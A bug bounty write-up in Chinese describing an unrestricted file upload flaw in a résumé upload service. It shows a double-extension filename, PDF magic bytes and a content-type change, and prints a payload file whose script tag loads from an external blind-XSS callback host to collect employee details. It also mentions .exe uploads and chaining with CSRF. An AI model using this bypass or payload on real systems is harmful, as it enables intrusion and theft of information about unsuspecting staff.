虽然我像世界其他地方一样被困在隔离区,但我有更多的时间通过做一些错误赏金来提高我的网络应用程序黑客技能。从我在这个漫长的BB 会话中发现的错误中,我必须报告我的第一个无限制文件上传。
OWASP 非常详细地解释了该漏洞 这里。
该服务的功能是这样的:用户可以在网站上上传他们的简历。该网络应用程序会重命名并保存该文件,该文件稍后将由公司员工在本地计算机上进行检查。检查文件后,员工将根据简历信息更新用户的个人资料。
资料来源:OWASP
在检查该服务时,我尝试上传一个基本的“hello world”HTML 文件。但立刻就被拒绝了。该文件甚至没有被上传,所以我猜测甚至没有进行内容检查。所以也许第一个障碍是文件名本身。将文件名更改为 file.html
到 file.html.pdf
使文件被接受。
之后,我点击“上传”,但文件再次被拒绝。这是进行内容检查(如果这是正确的说法的话)的地方。
此时我必须欺骗系统并让它相信这确实是一个pdf 文件。在此我要感谢 HTB,因为这是我第一次了解如何使用文件签名绕过保护,也称为 魔法字节。添加签名 %PDF-1.
在HTML 文件的顶部,我可以绕过保护。另外,通过更改文件的内容类型 application/pdf
到 text/html
该文件正在下载并以HTML 文件形式打开。我添加了一个基本的XSS 有效负载,以便在员工打开文件时收到通知(因为我认为如果他们看到HTML 文件,他们会自动删除/关闭它。所以最后的文件如下所示:
$ cat fileupload.html.pdf
%PDF-1.
<html>
<script src=https://vict0ni.xss.ht></script>
</html>
尽管没有任何cookie 可供窃取,但由于该文件未在公司系统内呈现(遗憾的是,对我来说,这可能会为可能的RCE 开辟道路),它的目的是在该文件被泄露时通知我。打开并获取一些信息,例如员工的IP 和地理位置、他们的Web 浏览器、操作系统和路径 file:///C:/Users/[employee's name]/Downloads/
。虽然这些信息对我这个bug 猎人来说没有用,但它们对对手来说可能很有用。我还测试了.exe文件的漏洞,再次成功。
资料来源:OWASP
我希望你能从我的经历中学到一些东西!
奖励:文件上传服务也容易受到CSRF 的攻击,这意味着我还可以通过其他用户上传恶意文件,并且也可能感染他们,因为上传的简历也可以由用户自己下载。因此,请务必尝试将您发现的每个漏洞串联起来,以最大限度地提高严重性!